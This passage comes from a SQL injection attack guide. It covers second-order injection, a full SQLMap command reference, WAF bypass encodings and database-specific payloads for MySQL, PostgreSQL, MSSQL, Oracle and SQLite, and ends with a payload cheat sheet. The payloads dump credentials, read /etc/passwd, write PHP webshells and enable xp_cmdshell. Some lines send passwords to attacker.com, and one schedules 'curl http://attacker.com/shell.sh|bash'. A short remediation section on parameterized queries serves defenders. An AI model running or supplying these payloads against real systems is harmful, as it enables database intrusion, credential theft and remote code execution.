3. Later, password change query: UPDATE users SET pwd='x' WHERE user='admin'--'
→ The '--' comments out the rest: UPDATE users SET pwd='x' WHERE user='admin'
→ Admin's password is changed!
DETECTION:
→ Input fields that store data and are later used in queries
→ Profile update, comment sections, support tickets, order notes
→ Admin review panels that display user-supplied data
14.1 Classic Second-Order Example
Registration:
Username: admin'--
Password: hacker123
Password change (logged in as admin'--):
Old password: hacker123
New password: hacked!
Query fired:
UPDATE users SET password='hacked!' WHERE username='admin'-- ' AND password='hacker123'
Becomes:
UPDATE users SET password='hacked!' WHERE username='admin'
→ Admin's password is now 'hacked!'
14.2 Detection Strategy
# Register with payloads in every field and look for effects later:
# Username: sleep_test' AND SLEEP(5) AND 'x'='x
# Then trigger queries that use the username
# Profile update that reflects data back:
# Enter in "First Name": test'+(SELECT 1 FROM (SELECT SLEEP(5))a)+'
# Then view profile — if delay occurs when viewing, SQLi in read path
# SQLMap second-order:
sqlmap -u "https://target.com/update_profile" \
--data="name=FUZZ" \
--second-url="https://target.com/view_profile" \
--second-req second_request.txt
15. SQLMap — Complete Reference
15.1 Basic Usage
# GET parameter:
sqlmap -u "https://target.com/products?id=1"
# POST parameter:
sqlmap -u "https://target.com/login" --data="user=admin&pass=pass"
# Specify parameter:
sqlmap -u "https://target.com/products?id=1&cat=2" -p id
# Cookie injection:
sqlmap -u "https://target.com/profile" --cookie="session=abc123"
# Header injection:
sqlmap -u "https://target.com/" --headers="X-Forwarded-For: *"
sqlmap -u "https://target.com/" -H "User-Agent: *"
15.2 Specifying Database
# Auto-detect (default)
sqlmap -u "https://target.com/?id=1" --dbms=mysql
sqlmap -u "https://target.com/?id=1" --dbms=postgresql
sqlmap -u "https://target.com/?id=1" --dbms=mssql
sqlmap -u "https://target.com/?id=1" --dbms=oracle
sqlmap -u "https://target.com/?id=1" --dbms=sqlite
15.3 Enumeration Flags
# Current database / user
sqlmap -u "https://target.com/?id=1" --current-db
sqlmap -u "https://target.com/?id=1" --current-user
sqlmap -u "https://target.com/?id=1" --hostname
sqlmap -u "https://target.com/?id=1" --is-dba # are we DBA?
sqlmap -u "https://target.com/?id=1" --privileges # list privs
# List databases:
sqlmap -u "https://target.com/?id=1" --dbs
# List tables in DB:
sqlmap -u "https://target.com/?id=1" -D dbname --tables
# List columns in table:
sqlmap -u "https://target.com/?id=1" -D dbname -T users --columns
# Dump table:
sqlmap -u "https://target.com/?id=1" -D dbname -T users --dump
# Dump all:
sqlmap -u "https://target.com/?id=1" --dump-all
# Dump specific columns:
sqlmap -u "https://target.com/?id=1" -D dbname -T users -C username,password --dump
15.4 Technique Flags
# Specify technique (B=Boolean, E=Error, U=Union, S=Stacked, T=Time, Q=Inline)
sqlmap -u "https://target.com/?id=1" --technique=BEUST
# Time-based: increase sleep time (good for slow networks)
sqlmap -u "https://target.com/?id=1" --technique=T --time-sec=8
# Union only (faster if you know it works):
sqlmap -u "https://target.com/?id=1" --technique=U --union-cols=3
# Specify union char:
sqlmap -u "https://target.com/?id=1" --union-char=NULL
15.5 Authentication & Session Handling
# Basic HTTP auth:
sqlmap -u "https://target.com/?id=1" --auth-type=Basic --auth-cred="admin:password"
# Bearer token:
sqlmap -u "https://target.com/?id=1" --headers="Authorization: Bearer <TOKEN>"
# CSRF token handling:
sqlmap -u "https://target.com/login" \
--data="user=admin&pass=test&csrf=TOKEN" \
--csrf-token=csrf \
--csrf-url="https://target.com/login"
# Use saved request from Burp (copy as raw):
sqlmap -r request.txt
15.6 Evasion & WAF Bypass
# Random user agent:
sqlmap -u "https://target.com/?id=1" --random-agent
# Delay between requests:
sqlmap -u "https://target.com/?id=1" --delay=2
# Randomize requests:
sqlmap -u "https://target.com/?id=1" --randomize=id
# Tamper scripts (chain multiple):
sqlmap -u "https://target.com/?id=1" --tamper=space2comment
sqlmap -u "https://target.com/?id=1" --tamper=between,randomcase,space2comment
sqlmap -u "https://target.com/?id=1" --tamper=charunicodeencode,space2comment,randomcase
# Increase aggressiveness:
sqlmap -u "https://target.com/?id=1" --level=5 --risk=3
# level 1-5: how many places to test (default 1)
# risk 1-3: how risky payloads to use (default 1)
15.7 Available Tamper Scripts
# List all tampers:
sqlmap --list-tampers
# Key tampers and what they do:
# space2comment → replaces spaces with /**/
# randomcase → RaNdOmIzEs case of keywords
# between → replaces > with NOT BETWEEN 0 AND
# charunicodeencode → unicode-encodes non-standard chars
# base64encode → base64-encodes payload (rare use)
# equaltolike → replaces = with LIKE
# greatest → replaces > with GREATEST()
# ifnull2ifisnull → replaces IFNULL with IF(ISNULL)
# modsecurityversioned → versioned MySQL comments
# percentage → adds % before each char (IIS bypass)
# plus2concat → replaces + with CONCAT() (MSSQL)
# space2dash → replaces space with -- \n
# space2mssqlblank → replaces space with random blank char
# space2mysqldash → replaces space with -- \n (MySQL)
# unmagicquotes → widens chars to bypass magic_quotes
# versionedmorekeywords → MySQL versioned keywords
15.8 OS / File Operations via SQLMap
# Read file:
sqlmap -u "https://target.com/?id=1" --file-read="/etc/passwd"
sqlmap -u "https://target.com/?id=1" --file-read="C:\\Windows\\System32\\drivers\\etc\\hosts"
# Write file (web shell):
sqlmap -u "https://target.com/?id=1" \
--file-write="shell.php" \
--file-dest="/var/www/html/shell.php"
# OS shell (interactive):
sqlmap -u "https://target.com/?id=1" --os-shell
# OS cmd (single command):
sqlmap -u "https://target.com/?id=1" --os-cmd="id"
# Meterpreter shell:
sqlmap -u "https://target.com/?id=1" --os-pwn
15.9 Advanced SQLMap Techniques
# Second-order injection:
sqlmap -u "https://target.com/update" \
--data="name=test" \
--second-url="https://target.com/profile"
# Custom injection marker (*):
sqlmap -u "https://target.com/api/user" \
--data='{"id":"*"}' \
-H "Content-Type: application/json"
# Injection in JSON array:
sqlmap -u "https://target.com/api" \
--data='{"ids":["1*"]}' \
-H "Content-Type: application/json"
# Hex encoding all payloads:
sqlmap -u "https://target.com/?id=1" --hex
# Proxy through Burp:
sqlmap -u "https://target.com/?id=1" --proxy="http://127.0.0.1:8080" --ignore-proxy=False
# Batch mode (no interactive prompts):
sqlmap -u "https://target.com/?id=1" --batch --dbs
# Save and resume:
sqlmap -u "https://target.com/?id=1" --dbs --save=session.sqlmap
sqlmap -u "https://target.com/?id=1" --session=session.sqlmap
16. WAF Bypass Techniques
16.1 Encoding Bypasses
-- URL encoding:
' UNION SELECT NULL,version(),NULL -- -
→ %27%20UNION%20SELECT%20NULL%2Cversion%28%29%2CNULL%20--%20-
-- Double URL encoding:
%2527 UNION SELECT...
-- Unicode encoding:
' → %u0027
space → %u0020
-- Hex encoding keywords:
SELECT → 0x53454c454354
-- HTML entity encoding (rare, context-dependent):
' → '
16.2 Case & Comment Manipulation
-- Case variation:
SeLeCt uSeR()
UNION -> uNiOn, UnIoN
-- Comment injection to break keywords:
UN/**/ION SEL/**/ECT
UN/**/ION/**/ SEL/**/ECT/**/ NULL,version(),NULL --/**/-
-- MySQL versioned comments (execute only on MySQL):
/*!UNION*/ /*!SELECT*/ NULL,version(),NULL -- -
/*!50000UNION*//*!50000SELECT*/ NULL,version(),NULL -- -
-- Whitespace alternatives:
-- Tab (%09), newline (%0a), carriage return (%0d), form feed (%0c)
UNION%09SELECT%0aNULL,version(),NULL--%20-
UNION%0aSELECT%09NULL,version(),NULL--%20-
16.3 HTTP-Level Bypasses
# HTTP parameter pollution:
# WAF reads first, app concatenates both:
GET /products?id=1&id=UNION SELECT...
GET /products?id=1 UNION&id= SELECT version() -- -
# Chunked transfer encoding:
# Some WAFs don't reassemble chunked body:
curl -X POST https://target.com/login \
--data "user=admin" \
-H "Transfer-Encoding: chunked"
# Content-Type confusion:
# Send JSON with form content-type:
curl -X POST https://target.com/login \
-H "Content-Type: application/json" \
--data '{"username":"admin'"'"' OR 1=1-- -","password":"x"}'
# Large padding to push payload past WAF buffer:
# Add 8000+ chars before payload
16.4 Keyword Bypass Payloads
-- UNION bypass:
UNiOn SeLeCt
UN/**/ION /**/SEL/**/ECT
%55NION %53ELECT
UNION%20ALL%20SELECT
-- WHERE bypass:
WH/**/ERE
WHERE -> HAVING (in some contexts)
-- AND/OR bypass:
&& (URL: %26%26)
|| (URL: %7C%7C)
AND -> &&
OR -> ||
-- SLEEP bypass (MySQL):
SLEEP(5) → BENCHMARK(5000000,MD5(1))
-- Quotes bypass:
'admin' → 0x61646d696e (hex)
'admin' → CHAR(97,100,109,105,110)
-- Space bypass:
SELECT/**/version()
SELECT%09version()
SELECT%0aversion()
16.5 SQLMap WAF Bypass
# Full tamper chain for aggressive WAF bypass:
sqlmap -u "https://target.com/?id=1" \
--tamper="between,charunicodeencode,equaltolike,greatest,\
randomcase,space2comment,unmagicquotes" \
--random-agent \
--delay=1.5 \
--level=5 \
--risk=3 \
--technique=BEUST \
--time-sec=8 \
--batch
17. Database-Specific Deep Dives
17.1 MySQL Specifics
-- Stacked queries (PHP mysqli_multi_query or Python):
'; INSERT INTO users (username,password) VALUES ('hacker','hacked') -- -
-- Reading files:
UNION SELECT LOAD_FILE('/etc/passwd')
-- Writing files:
UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/c.php'
-- Useful tables:
mysql.user -- user credentials (hashed)
information_schema.tables -- all tables
information_schema.columns -- all columns
-- Get MySQL users:
' UNION SELECT NULL,CONCAT(user,0x3a,authentication_string),NULL FROM mysql.user -- -
-- Get MySQL grants:
' UNION SELECT NULL,CONCAT(CURRENT_USER(),' has FILE: ',IF(@@global.secure_file_priv='','YES','NO')),NULL -- -
-- DNS OOB (Windows only):
' UNION SELECT LOAD_FILE(CONCAT('\\\\\\\\', version(), '.attacker.com\\\\a')) -- -
-- Time-safe format:
' AND (SELECT 1337 FROM (SELECT(SLEEP(5-(IF((condition),0,5))))) r) -- -
17.2 PostgreSQL Specifics
-- Can't be stopped from stacking:
'; SELECT PG_SLEEP(5) -- -
-- Large object file read (superuser):
'; SELECT lo_import('/etc/passwd') -- -
'; SELECT lo_get(<loid>) -- -
-- Copy to file (write webshell):
'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php' -- -
-- Copy from program (RCE):
'; COPY cmd_out FROM PROGRAM 'id' -- -
-- Extensions:
'; CREATE EXTENSION IF NOT EXISTS dblink -- -
'; SELECT * FROM dblink('host=attacker.com ...', 'SELECT 1') -- -
-- Useful tables:
pg_tables -- all tables
information_schema.tables
pg_shadow -- password hashes (superuser only)
-- Get PostgreSQL version:
' UNION SELECT NULL,version(),NULL -- -
-- Check if superuser:
' UNION SELECT NULL,current_setting('is_superuser'),NULL -- -
17.3 MSSQL Specifics
-- Enable xp_cmdshell:
'; EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE -- -
-- Execute OS command:
'; EXEC xp_cmdshell 'whoami' -- -
-- Linked servers (lateral movement):
'; EXEC ('SELECT @@version') AT [LINKED_SERVER_NAME] -- -
'; SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT @@version') -- -
-- Useful tables:
master.sys.databases -- all databases
information_schema.tables
sys.sql_logins -- SQL Server logins
sys.server_principals -- server-level principals
-- Get password hashes:
'; SELECT name,password_hash FROM sys.sql_logins -- -
-- DNS OOB (no elevation needed):
'; EXEC master..xp_dirtree '\\COLLABORATOR.oastify.com\a' -- -
-- OPENROWSET OOB:
'; SELECT * FROM OPENROWSET('SQLNCLI','server=COLLABORATOR.oastify.com;uid=sa;pwd=sa','SELECT 1') -- -
-- MSSQL error-based (easy):
' AND 1=CONVERT(INT,(SELECT @@version)) -- -
17.4 Oracle Specifics
-- FROM DUAL required for standalone queries:
' UNION SELECT NULL,banner,NULL FROM v$version WHERE ROWNUM=1 -- -
-- No stacked queries. All SQLi via UNION, error-based, OOB, or blind.
-- All tables:
' UNION SELECT NULL,table_name,NULL FROM all_tables WHERE ROWNUM=1 -- -
' UNION SELECT NULL,table_name,NULL FROM all_tables WHERE owner='DBNAME' AND ROWNUM=1 -- -
-- All columns:
' UNION SELECT NULL,column_name,NULL FROM all_tab_columns WHERE table_name='USERS' AND ROWNUM=1 -- -
-- Users and hashes:
' UNION SELECT NULL,name||':'||password,NULL FROM sys.user$ WHERE ROWNUM=1 -- -
-- UTL_HTTP (OOB / SSRF — requires ACL):
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE ROWNUM=1)) FROM dual -- -
-- XMLType OOB (older installs — unpatched):
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY % r SYSTEM "http://'||(SELECT password FROM users WHERE ROWNUM=1)||'.attacker.com/"> %r;]>'),'/l') FROM dual -- -
-- DBMS_SCHEDULER RCE:
'; BEGIN DBMS_SCHEDULER.CREATE_JOB(job_name=>'J1',job_type=>'EXECUTABLE',
job_action=>'/bin/bash',number_of_arguments=>2,enabled=>FALSE);
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1',1,'-c');
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1',2,'curl http://attacker.com/shell.sh|bash');
DBMS_SCHEDULER.ENABLE('J1'); END; -- -
17.5 SQLite Specifics
-- Schema:
' UNION SELECT NULL,tbl_name,NULL FROM sqlite_master WHERE type='table' -- -
' UNION SELECT NULL,sql,NULL FROM sqlite_master WHERE tbl_name='users' -- -
' UNION SELECT NULL,name,NULL FROM pragma_table_info('users') -- -
-- Single file — no concept of multiple databases
-- No xp_cmdshell, no file write natively (unless extension loaded)
-- Stacked queries supported (when app uses multi-statement exec)
-- Time-based (compute-heavy randomblob):
' AND LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000)))) -- -
-- Boolean error (integer overflow):
' AND 1=(SELECT CASE WHEN (1=1) THEN abs(-9223372036854775808) ELSE 1 END) -- -
-- Dump all:
' UNION SELECT NULL,GROUP_CONCAT(tbl_name,','),NULL FROM sqlite_master WHERE type='table' -- -
18. Remediation
18.1 Parameterized Queries (Prepared Statements)
# ── Python (psycopg2 / mysql-connector) ──
# VULNERABLE:
query = f"SELECT * FROM users WHERE username = '{username}'"
# SAFE:
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
# ── PHP ──
# VULNERABLE:
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
# SAFE (PDO):
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
# ── Java (JDBC) ──
# SAFE:
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);
# ── C# (.NET) ──
# SAFE:
SqlCommand cmd = new SqlCommand(
"SELECT * FROM users WHERE id = @id", conn);
cmd.Parameters.AddWithValue("@id", userId);
18.2 ORDER BY / Dynamic Identifiers
# ORDER BY cannot use parameters — use allowlist:
ALLOWED_COLUMNS = ['name', 'price', 'date']
ALLOWED_DIRS = ['ASC', 'DESC']
col = request.args.get('sort')
direction = request.args.get('dir', 'ASC')
if col not in ALLOWED_COLUMNS or direction not in ALLOWED_DIRS:
abort(400)
query = f"SELECT * FROM products ORDER BY {col} {direction}"
# Safe because we validated against allowlist
18.3 Stored Procedures (Safe Use)
-- MSSQL safe stored procedure (still parameterized):
CREATE PROCEDURE GetUser @username NVARCHAR(50)
AS
SELECT * FROM users WHERE username = @username
-- Called as: EXEC GetUser 'admin'
-- NOT safe if procedure internally uses EXEC() with concatenation
18.4 Defense-in-Depth
-
Parameterized queries / prepared statements → PRIMARY CONTROL
-
Input validation (allowlist where possible) → SECONDARY
-
Least privilege DB accounts → no FILE, no xp_cmdshell, no superuser
-
WAF (ModSecurity, Cloudflare, AWS WAF) → DEFENSE IN DEPTH (not primary)
-
Error handling — never expose DB errors → hides error-based SQLi
-
Query timeouts → limits time-based exploitation
-
Egress filtering on DB server → blocks OOB exfiltration
-
Monitor for SQLi patterns in logs (SIEM) → detection
-
Regular DAST scanning (SQLMap, Burp) → proactive testing
19. Master Cheat Sheet
Attack Selection Decision Tree
Found a potential injection point?
│
├── Test Break & Repair → confirmed SQLi
│
├── Is there output in the page?
│ ├── YES + error messages visible?
│ │ └── Error-based → fastest extraction
│ └── YES + data reflected in response?
│ └── UNION-based → efficient extraction
│
├── No visible output, responses differ (TRUE vs FALSE)?
│ └── Boolean-based blind → character-by-character
│
├── No output difference, but delays measurable?
│ └── Time-based blind → slower, reliable
│
├── No in-band channel works?
│ └── Out-of-band (DNS/HTTP) via Burp Collaborator or interactsh
│
├── Database allows ; (MSSQL / PostgreSQL)?
│ └── Stacked queries → enables xp_cmdshell, file writes, DDL
│
└── Found injection in stored/profile field?
└── Check for second-order injection
Quick Payload Reference
-- ── Fingerprint DB ──
AND 'foo' 'bar'='foobar' -- MySQL
AND DATALENGTH('foo')=3 -- MSSQL
AND TO_HEX(1)='1' -- PostgreSQL
AND LENGTHB('foo')='3' -- Oracle
AND GLOB('foo*','foobar')=1 -- SQLite
-- ── Get Version ──
' UNION SELECT @@version -- - -- MySQL / MSSQL
' UNION SELECT version() -- - -- PostgreSQL
' UNION SELECT banner FROM v$version WHERE ROWNUM=1 -- - -- Oracle
' UNION SELECT sqlite_version() -- - -- SQLite
-- ── Time-Based Confirm ──
' AND SLEEP(5) -- - -- MySQL
' AND PG_SLEEP(5)='x' -- - -- PostgreSQL
'; WAITFOR DELAY '0:0:5' -- - -- MSSQL
' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1 -- - -- Oracle
-- ── Error-Based (MySQL) ──
' AND EXTRACTVALUE(1337,CONCAT(0x7e,(SELECT database()),0x7e)) -- -
-- ── Error-Based (MSSQL) ──
' AND 1=CONVERT(INT,(SELECT @@version)) -- -
-- ── Error-Based (PostgreSQL) ──
' AND CAST((SELECT version()) AS INT)=1337 -- -
-- ── Auth Bypass ──
admin'-- - -- comment out password check
' OR '1'='1 -- always true (avoid in prod)
-- ── File Read ──
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL -- - -- MySQL
' UNION SELECT NULL,PG_READ_FILE('/etc/passwd'),NULL -- - -- PostgreSQL
-- ── OOB (MSSQL) ──
'; EXEC master..xp_dirtree '//COLLABORATOR.oastify.com/a' -- -
-- ── xp_cmdshell ──
'; EXEC xp_cmdshell 'whoami' -- - -- MSSQL (if enabled)
-- ── Write Webshell (MySQL) ──
' UNION SELECT NULL,'<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/c.php' -- -
SQLMap Quick Reference
sqlmap -u "URL?id=1" --dbs # list databases
sqlmap -u "URL?id=1" -D db --tables # list tables
sqlmap -u "URL?id=1" -D db -T users --dump # dump table
sqlmap -r req.txt --level=5 --risk=3 # from Burp request
sqlmap -u "URL?id=1" --os-shell # interactive OS shell
sqlmap -u "URL?id=1" --tamper=space2comment # WAF bypass
sqlmap -u "URL?id=1" --technique=T --time-sec=8 # time-based only